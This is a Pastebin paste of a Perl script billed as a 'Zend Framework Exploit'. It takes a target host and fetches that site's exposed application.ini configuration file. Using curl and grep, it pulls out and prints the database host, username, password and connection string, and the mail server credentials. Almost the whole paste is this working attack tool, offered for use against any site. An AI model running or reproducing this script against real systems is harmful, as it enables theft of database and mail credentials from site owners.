Advertisement
Guest User

Untitled

a guest
Oct 29th, 2016
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.79 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # Zend Framework Exploit.
  4. # By KoubackTr
  5. # koubacktr@gmail.com
  6. # http://koubacktr.wordpress.com/
  7.  
  8.  
  9. #=====================================================================#
  10. # This script exploits a vulnerability in the Zend Framework #
  11. # Through the exposure of the configuration file "application.ini" #
  12. #=====================================================================#
  13. # Este script explora uma vulnerabilidade no Zend Framework #
  14. # Atravez da exposição do arquivo de configuração "application.ini" #
  15. #=====================================================================#
  16.  
  17. # Status: Em teste e adaptação // In test and adaptation
  18.  
  19.  
  20. # Libs
  21. use strict;
  22. use LWP::UserAgent;
  23. use Getopt::Long;
  24. use Config;
  25. use Term::ANSIColor;
  26.  
  27. my $os=$Config{osname};
  28.  
  29. if($os=="linux"){
  30.  
  31. }else{
  32. print "Ohh, this software run only in linux systems :( [DIE]\n";
  33. die;
  34. }
  35.  
  36. print color 'bold cyan';
  37. print '
  38. __________ .___ ____ ___ .__ ____ __
  39. \____ /____ ____ __| _/ ____ \ \/ /_____ | | ____/_ |/ |_
  40. / // __ \ / \ / __ | _/ __ \ \ /\____ \| | / _ \| \ __\
  41. / /\ ___/| | \/ /_/ | \ ___/ / \| |_> > |_( <_> ) || |
  42. /_______ \___ >___| /\____ | \___ >___/\ \ __/|____/\____/|___||__|
  43. \/ \/ \/ \/ \/ \_/__|
  44. by KoubackTr || http://koubacktr.wordpress.com/
  45.  
  46. ';
  47. print color 'reset';
  48.  
  49. my ($target, $zend_path);
  50. my $options = GetOptions(
  51. 't=s'=> \$target,
  52. 'p=s'=> \$zend_path,
  53. );
  54.  
  55. unless($target){
  56. print color 'yellow';
  57. print "\t\t\t[!] Please, set a Zend target!\n";
  58. print "\t\t\tUse EX: $0 -t <target> -p <zend/path/>\n\n";
  59. exit;
  60. print color 'reset';
  61.  
  62. }
  63. unless($zend_path){
  64. my $zend_path="/";
  65. }
  66.  
  67. my $APP="application.ini";
  68. my $PATH="application/configs";
  69.  
  70. my $URL="http://$target/$zend_path/$PATH/$APP"; #// make a complete URL of application.ini
  71.  
  72. my $u = LWP::UserAgent->new;
  73. my $req = HTTP::Request->new(GET => $URL);
  74. my $resposta = $u->request($req);
  75.  
  76. if($resposta->is_success){
  77.  
  78. print color 'red';
  79. print "\t\t\t[+] TARGET IS VULNERABLE !! :)\n";
  80. print color 'reset';
  81. print "\t\t\t[+] EXPLORE DB CONFIG IN FILE... !! :)\n\n";
  82.  
  83. #// using curl for requet application.ini
  84.  
  85. my $db_host= `curl -s "$URL" | grep 'db.params.host'`;
  86. my $db_adapter=`curl -s "$URL" | grep 'db.adapter' `;
  87. my $db_user=`curl -s "$URL" | grep '.db.params.username' `;
  88. my $db_pass=`curl -s "$URL" | grep '.db.params.password' `;
  89. my $db_name=`curl -s "$URL" | grep 'db.params.dbname' `;
  90. my $db_geral=`curl -s "$URL"| grep 'connection_string' `;
  91.  
  92. #// Return and print config data
  93. print color 'cyan';
  94. print "\t$db_adapter \n";
  95. print "\t$db_host \n";
  96. print "\t$db_user \n";
  97. print "\t$db_pass \n";
  98. print "\t$db_name \n";
  99. print "\n$db_geral \n";
  100. print color 'reset';
  101.  
  102. print "\n";
  103. print "\t\t\t[+] EXPLORE MAIL CONFIG IN FILE... !! :)\n\n";
  104.  
  105.  
  106. my $mail_type=`curl -s "$URL" | grep 'mail.transport.type' `;
  107. my $mail_host= `curl -s "$URL" | grep 'mail.transport.host'`;
  108. my $mail_port=`curl -s "$URL" | grep 'mail.transport.port' `;
  109. my $mail_user=`curl -s "$URL" | grep '.mail.transport.username' `;
  110. my $mail_pass=`curl -s "$URL" | grep 'mail.transport.password' `;
  111.  
  112. print color 'cyan';
  113. print "\t$mail_type \n";
  114. print "\t$mail_host \n";
  115. print "\t$mail_port \n";
  116. print "\t$mail_user \n";
  117. print "\t$mail_pass \n";
  118.  
  119. print color 'reset';
  120.  
  121. print "\n\n END!\n";
  122.  
  123.  
  124. # Make a new request for get new lines and configuration of file. :p
  125. # ...
  126.  
  127. }
  128. else{
  129. #// The target is not vulnerable, sorry
  130. print color 'bold green';
  131. print "\t\t\t\n[!] TARGET IS NOT VULNERABLE :( (BYE)\n\n";
  132. print color 'reset';
  133. }
  134.  
  135.  
  136. # END #
  137.  
  138. #
  139. # KoubackTr - 2014 http://twitter.com/kouback_tr_
  140. # irc.anonnet.org 6667 #Loc
  141. #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement